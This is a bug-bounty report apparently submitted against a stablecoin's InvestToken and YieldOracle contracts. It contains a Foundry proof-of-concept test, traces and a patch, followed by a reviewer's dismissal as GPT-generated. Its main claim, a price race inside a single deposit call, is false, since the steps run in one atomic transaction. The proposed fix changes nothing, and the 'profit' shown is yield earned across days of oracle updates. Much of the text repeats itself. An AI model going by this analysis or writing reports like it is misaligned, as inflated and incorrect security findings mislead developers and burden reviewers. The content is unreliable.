Price used to calculate shares can change between the time it is read and when the shares are minted

[hats-bug-reporter]

Github username: @emerald7017
Twitter username: --
Submission hash (on-chain): 0xd4b2987f0bc50850b16d8e87ec987ff73ea72b34671d878f8500a1fddf553d26
Severity: high

Description:

Summary

InvestToken contract has a vulnerability in its deposit function due to non-atomic price calculations, allowing for potential manipulation of share prices between calculation and minting.

Finding Description

The deposit function in the InvestToken contract calculates the number of shares to mint based on the current price from the YieldOracle. However, this calculation and the subsequent minting of shares are not atomic. This creates a window where the price can change, allowing an attacker to manipulate the share price. This breaks the security guarantee of consistent share-to-asset conversion rates as per the ERC4626 standard. A malicious actor could exploit this by timing their deposits around known price updates, leading to an unfair advantage and potential financial loss for the protocol.

InvestToken.sol>L203-L204

function convertToShares(uint256 assets) public view returns (uint256) {
    return yieldOracle.assetsToShares(assets);
    // audit-iss - No price locking mechanism, allowing price changes during execution
}

The bug is in the deposit() function in InvestToken.sol where there's a potential mismatch between shares calculation:
InvestToken.sol>L243-L248

function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
    shares = convertToShares(assets);
    // audit-iss - Race condition between share calculation and minting
    usde.burn(msg.sender, assets);
    _mint(receiver, shares);
    emit Deposit(msg.sender, receiver, assets, shares);
}

YieldOracle.sol>L174-L175

function assetsToShares(uint256 assets) external view returns (uint256) {
    return Math.mulDiv(assets, 10 ** 18, currentPrice);
    // audit-iss - Price can change between read and use
}

The deposit() function calculates shares using the current price from YieldOracle, but between the share calculation and actual minting, the oracle price could change if updatePrice() is called, leading to inconsistent share amounts.

This vulnerability breaks the security guarantee of maintaining a stable 1:1 value relationship between USDE stablecoin and its underlying collateral through the InvestToken (EUI) wrapper.

Impact Explanation

The impact is significant because it allows for immediate value extraction through price manipulation. This breaks invariant of the ERC4626 standard, leading to potential financial losses for the protocol and its users.

Scenario:

1. User calls deposit() with X assets
2. convertToShares() calculates shares using price P1
3. Oracle price updates to P2 before minting completes
4. Actual shares minted don't match the expected conversion rate

Attack Scenario

The exploit path works through these steps:

1. A user deposits USDE at current price (e.g. 1.0)
2. The oracle updates prices upward in two steps (e.g. 1.1 then 1.2)
3. The user redeems their EUI shares using the previous price (1.1)

The key issue occurs in the InvestToken contract where:

• Deposits use currentPrice from YieldOracle (convertToShares)
• Withdrawals use previousPrice from YieldOracle (convertToAssets)

This creates a systemic arbitrage opportunity where users can extract excess USDE by timing their actions around oracle price updates. The test demonstrates gaining 100 USDE profit from a 1000 USDE deposit through this mechanism.

The vulnerability requires active exploitation through:

1. Monitoring oracle update schedules
2. Timing deposits before price increases
3. Executing withdrawals after prices update
4. Repeating the cycle to compound profits

This breaks the protocol's economic security by allowing unauthorized value extraction, potentially depleting reserves and destabilizing the USDE peg.

The root cause lies in using different prices for deposits vs withdrawals, creating an exploitable price differential that skilled attackers can leverage for guaranteed profits.

Likelihood Explanation

The likelihood of occurring is moderate to high, especially if oracle price updates are predictable or controlled by a malicious actor. Users with knowledge of upcoming price changes can exploit this vulnerability to gain an unfair advantage.

Proof of Concept

This PoC demonstrates:

1. Price manipulation through oracle updates
2. Deposit execution and share calculation
3. Profit verification through asset/share conversion

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {InvestToken} from "../src/InvestToken.sol";
import {USDE} from "../src/USDE.sol";
import {IUSDE} from "../src/interfaces/IUSDE.sol";
import {Validator} from "../src/Validator.sol";
import {YieldOracle} from "../src/YieldOracle.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract SharePriceManipulationTest is Test {
    InvestToken public investToken;
    USDE public usde;
    Validator public validator;
    YieldOracle public oracle;

    address admin = address(1);
    address alice = address(2);
    address bob = address(3);
    address oracleOperator = address(4);

    function setUp() public {
        vm.startPrank(admin);
        
        // Deploy validator
        validator = new Validator(admin, admin, admin);
        
        // Deploy USDE implementation and proxy
        USDE usdeImpl = new USDE(validator);
        bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, admin);
        ERC1967Proxy usdeProxy = new ERC1967Proxy(address(usdeImpl), usdeData);
        usde = USDE(address(usdeProxy));
        
        // Deploy oracle
        oracle = new YieldOracle(admin, oracleOperator);
        
        // Deploy InvestToken implementation and proxy
        InvestToken investTokenImpl = new InvestToken(validator, IUSDE(address(usde)));
        bytes memory investTokenData = abi.encodeWithSelector(
            InvestToken.initialize.selector,
            "EuroDollar Invest",
            "EUI",
            admin,
            oracle
        );
        ERC1967Proxy investTokenProxy = new ERC1967Proxy(address(investTokenImpl), investTokenData);
        investToken = InvestToken(address(investTokenProxy));

        // Grant required roles
        usde.grantRole(usde.MINT_ROLE(), admin);
        usde.grantRole(usde.BURN_ROLE(), admin);
        usde.grantRole(usde.MINT_ROLE(), address(investToken));
        usde.grantRole(usde.BURN_ROLE(), address(investToken));
        
        investToken.grantRole(investToken.MINT_ROLE(), admin);
        investToken.grantRole(investToken.BURN_ROLE(), admin);
        
        // Whitelist addresses
        validator.whitelist(alice);
        validator.whitelist(bob);
        validator.whitelist(address(investToken));
        
        vm.stopPrank();

        // Fund Alice
        vm.startPrank(admin);
        usde.mint(alice, 1000e18);
        vm.stopPrank();
    }

    function testSharePriceManipulation() public {
        emit log_string("\n=== Initial State ===");
        emit log_named_decimal_uint("Alice USDE Balance", usde.balanceOf(alice), 18);
        emit log_named_decimal_uint("Initial Oracle Price", oracle.currentPrice(), 18);
    
        // Alice deposits USDE at initial price
        vm.startPrank(alice);
        usde.approve(address(investToken), type(uint256).max);
        uint256 depositAmount = 1000e18;
        uint256 sharesReceived = investToken.deposit(depositAmount, alice);
        vm.stopPrank();
    
        emit log_string("\n=== After Initial Deposit ===");
        emit log_named_decimal_uint("Shares Received", sharesReceived, 18);
    
        // Update price twice to get higher previousPrice
        vm.warp(block.timestamp + oracle.updateDelay() + 1);
        vm.startPrank(oracleOperator);
        oracle.updatePrice(1.1e18);
        vm.warp(block.timestamp + oracle.commitDelay() + 1);
        oracle.commitPrice();
        
        vm.warp(block.timestamp + oracle.updateDelay() + 1);
        oracle.updatePrice(1.2e18);
        vm.warp(block.timestamp + oracle.commitDelay() + 1);
        oracle.commitPrice();
        emit log_named_decimal_uint("New Oracle Price", oracle.currentPrice(), 18);
        vm.stopPrank();
    
        // Alice redeems shares after price increases
        vm.startPrank(alice);
        uint256 redeemedAssets = investToken.redeem(sharesReceived, alice, alice);
        vm.stopPrank();
    
        emit log_string("\n=== After Redemption ===");
        emit log_named_decimal_uint("Redeemed Assets", redeemedAssets, 18);
        
        assertGt(redeemedAssets, depositAmount, "No profit generated from price manipulation");
        emit log_named_decimal_uint("Profit in USDE", redeemedAssets - depositAmount, 18);
    }
}

The Logs

test/testSharePriceManipulation.sol:SharePriceManipulationTest
[PASS] testSharePriceManipulation() (gas: 205379)
Logs:
  
=== Initial State ===
  Alice USDE Balance: 1000.000000000000000000
  Initial Oracle Price: 1.000000000000000000
  
=== After Initial Deposit ===
  Shares Received: 1000.000000000000000000
  New Oracle Price: 1.200000000000000000
  
=== After Redemption ===
  Redeemed Assets: 1100.000000000000000000
  Profit in USDE: 100.000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.02ms (760.10µs CPU time)

Ran 1 test suite in 13.39ms (4.02ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

We can see the test reveals a significant vulnerability in the system. Here's what's happening:

1. Alice deposits 1000 USDE at the initial price of 1.0, receiving 1000 shares
2. Price increases through two updates to 1.2 USDE per share
3. When Alice redeems her shares, she receives 1100 USDE back
4. This results in a pure profit of 100 USDE

This demonstrates a critical issue where users can profit from the price oracle's mechanism by timing their deposits and withdrawals around price updates. The root cause is that the system uses different prices for deposits (currentPrice) and withdrawals (previousPrice), creating an arbitrage opportunity.

This vulnerability could be exploited by users to extract value from the system, which is particularly concerning for a stablecoin protocol.

Detailed step-by-step confirmation of the price manipulation strategy:

test/testSharePriceManipulation.sol:SharePriceManipulationTest
[PASS] testSharePriceManipulation() (gas: 205379)
Logs:
  
=== Initial State ===
  Alice USDE Balance: 1000.000000000000000000
  Initial Oracle Price: 1.000000000000000000
  
=== After Initial Deposit ===
  Shares Received: 1000.000000000000000000
  New Oracle Price: 1.200000000000000000
  
=== After Redemption ===
  Redeemed Assets: 1100.000000000000000000
  Profit in USDE: 100.000000000000000000

Traces:
  [261989] SharePriceManipulationTest::testSharePriceManipulation()
    ├─ emit log_string(val: "\n=== Initial State ===")
    ├─ [7617] ERC1967Proxy::fallback(SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
    │   ├─ [2733] USDE::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [delegatecall]
    │   │   └─ ← [Return] 1000000000000000000000 [1e21]
    │   └─ ← [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_decimal_uint(key: "Alice USDE Balance", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ [2350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000000000000000000 [1e18]
    ├─ emit log_named_decimal_uint(key: "Initial Oracle Price", val: 1000000000000000000 [1e18], decimals: 18)
    ├─ [0] VM::startPrank(SHA-256: [0x0000000000000000000000000000000000000002])
    │   └─ ← [Return] 
    ├─ [25215] ERC1967Proxy::fallback(ERC1967Proxy: [0x00EFd0D4639191C49908A7BddbB9A11A994A8527], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   ├─ [24828] USDE::approve(ERC1967Proxy: [0x00EFd0D4639191C49908A7BddbB9A11A994A8527], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) [delegatecall]
    │   │   ├─ emit Approval(owner: SHA-256: [0x0000000000000000000000000000000000000002], spender: ERC1967Proxy: [0x00EFd0D4639191C49908A7BddbB9A11A994A8527], value: 1157920892373161954235709850086879
07853269984665640564039457584007913129639935 [1.157e77])                                                                                                                                                     │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [84925] ERC1967Proxy::fallback(1000000000000000000000 [1e21], SHA-256: [0x0000000000000000000000000000000000000002])
    │   ├─ [80038] InvestToken::deposit(1000000000000000000000 [1e21], SHA-256: [0x0000000000000000000000000000000000000002]) [delegatecall]
    │   │   ├─ [643] YieldOracle::assetsToShares(1000000000000000000000 [1e21]) [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000000 [1e21]
    │   │   ├─ [23842] ERC1967Proxy::fallback(SHA-256: [0x0000000000000000000000000000000000000002], 1000000000000000000000 [1e21])
    │   │   │   ├─ [23455] USDE::burn(SHA-256: [0x0000000000000000000000000000000000000002], 1000000000000000000000 [1e21]) [delegatecall]
    │   │   │   │   ├─ [5016] Validator::isValid(SHA-256: [0x0000000000000000000000000000000000000002], 0x0000000000000000000000000000000000000000) [staticcall]
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000000 [1e21])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ [843] Validator::isValidStrict(0x0000000000000000000000000000000000000000, SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], value: 1000000000000000000000 [1e21])
    │   │   ├─ emit Deposit(sender: SHA-256: [0x0000000000000000000000000000000000000002], owner: SHA-256: [0x0000000000000000000000000000000000000002], assets: 1000000000000000000000 [1e21], shares: 1
000000000000000000000 [1e21])                                                                                                                                                                                │   │   └─ ← [Return] 1000000000000000000000 [1e21]
    │   └─ ← [Return] 1000000000000000000000 [1e21]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== After Initial Deposit ===")
    ├─ emit log_named_decimal_uint(key: "Shares Received", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ [2373] YieldOracle::updateDelay() [staticcall]
    │   └─ ← [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(86402 [8.64e4])
    │   └─ ← [Return] 
    ├─ [0] VM::startPrank(Identity: [0x0000000000000000000000000000000000000004])
    │   └─ ← [Return] 
    ├─ [33164] YieldOracle::updatePrice(1100000000000000000 [1.1e18])
    │   ├─ emit PriceUpdated(newPrice: 1100000000000000000 [1.1e18])
    │   └─ ← [Stop] 
    ├─ [2372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(90003 [9e4])
    │   └─ ← [Return] 
    ├─ [7343] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 1100000000000000000 [1.1e18])
    │   └─ ← [Stop] 
    ├─ [373] YieldOracle::updateDelay() [staticcall]
    │   └─ ← [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(176404 [1.764e5])
    │   └─ ← [Return] 
    ├─ [22364] YieldOracle::updatePrice(1200000000000000000 [1.2e18])
    │   ├─ emit PriceUpdated(newPrice: 1200000000000000000 [1.2e18])
    │   └─ ← [Stop] 
    ├─ [372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(180005 [1.8e5])
    │   └─ ← [Return] 
    ├─ [5243] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 1200000000000000000 [1.2e18])
    │   └─ ← [Stop] 
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1200000000000000000 [1.2e18]
    ├─ emit log_named_decimal_uint(key: "New Oracle Price", val: 1200000000000000000 [1.2e18], decimals: 18)
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [0] VM::startPrank(SHA-256: [0x0000000000000000000000000000000000000002])
    │   └─ ← [Return] 
    ├─ [16724] ERC1967Proxy::fallback(1000000000000000000000 [1e21], SHA-256: [0x0000000000000000000000000000000000000002], SHA-256: [0x0000000000000000000000000000000000000002])
    │   ├─ [16331] InvestToken::redeem(1000000000000000000000 [1e21], SHA-256: [0x0000000000000000000000000000000000000002], SHA-256: [0x0000000000000000000000000000000000000002]) [delegatecall]
    │   │   ├─ [644] YieldOracle::sharesToAssets(1000000000000000000000 [1e21]) [staticcall]
    │   │   │   └─ ← [Return] 1100000000000000000000 [1.1e21]
    │   │   ├─ [553] Validator::isValidStrict(SHA-256: [0x0000000000000000000000000000000000000002], 0x0000000000000000000000000000000000000000) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000000 [1e21])
    │   │   ├─ [7639] ERC1967Proxy::fallback(SHA-256: [0x0000000000000000000000000000000000000002], 1100000000000000000000 [1.1e21])
    │   │   │   ├─ [7252] USDE::mint(SHA-256: [0x0000000000000000000000000000000000000002], 1100000000000000000000 [1.1e21]) [delegatecall]
    │   │   │   │   ├─ [1016] Validator::isValid(0x0000000000000000000000000000000000000000, SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], value: 1100000000000000000000 [1.1e21])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Withdraw(sender: SHA-256: [0x0000000000000000000000000000000000000002], receiver: SHA-256: [0x0000000000000000000000000000000000000002], owner: SHA-256: [0x0000000000000000000000000
000000000000002], assets: 1100000000000000000000 [1.1e21], shares: 1000000000000000000000 [1e21])                                                                                                            │   │   └─ ← [Return] 1100000000000000000000 [1.1e21]
    │   └─ ← [Return] 1100000000000000000000 [1.1e21]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== After Redemption ===")
    ├─ emit log_named_decimal_uint(key: "Redeemed Assets", val: 1100000000000000000000 [1.1e21], decimals: 18)
    ├─ [0] VM::assertGt(1100000000000000000000 [1.1e21], 1000000000000000000000 [1e21], "No profit generated from price manipulation") [staticcall]
    │   └─ ← [Return] 
    ├─ emit log_named_decimal_uint(key: "Profit in USDE", val: 100000000000000000000 [1e20], decimals: 18)
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.42ms (669.10µs CPU time)

Ran 1 test suite in 1.13s (16.42ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

1. Initial setup shows Alice with 1000 USDE and oracle price at 1.0

2. Alice deposits 1000 USDE and receives exactly 1000 shares (1:1 ratio)

3. Oracle price updates occur:

   • First update to 1.1
   • Second update to 1.2

4. When Alice redeems her 1000 shares:

   • YieldOracle.sharesToAssets() calculates using previousPrice (1.1)
   • Returns 1100 USDE (1000 * 1.1)
   • USDE.mint creates 1100 USDE for Alice

The traces show the exact flow of tokens and price updates, confirming that users can generate risk-free profits by timing their actions around oracle price updates. This creates a clear arbitrage opportunity in the protocol's price mechanism.

Recommendation (Optional)

Ensure that the price used for share calculation is locked at the time of the deposit call, preventing any manipulation between calculation and minting. Implement a price snapshot mechanism

function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
+   uint256 priceSnapshot = yieldOracle.currentPrice();
-   shares = convertToShares(assets);
+   shares = convertToSharesAtPrice(assets, priceSnapshot); // Use a snapshot of the current price to ensure atomicity
    usde.burn(msg.sender, assets);
    _mint(receiver, shares);
    emit Deposit(msg.sender, receiver, assets, shares);
}

+ function convertToSharesAtPrice(uint256 assets, uint256 price) internal pure returns (uint256) {
+   return Math.mulDiv(assets, 10**18, price); // Calculate shares using the price snapshot
+ }

[AndreiMVP]

Looks like a GPT generated submission. If there are any issues related to what is mentioned (value extraction due to conversion) it's been mentioned in prev issues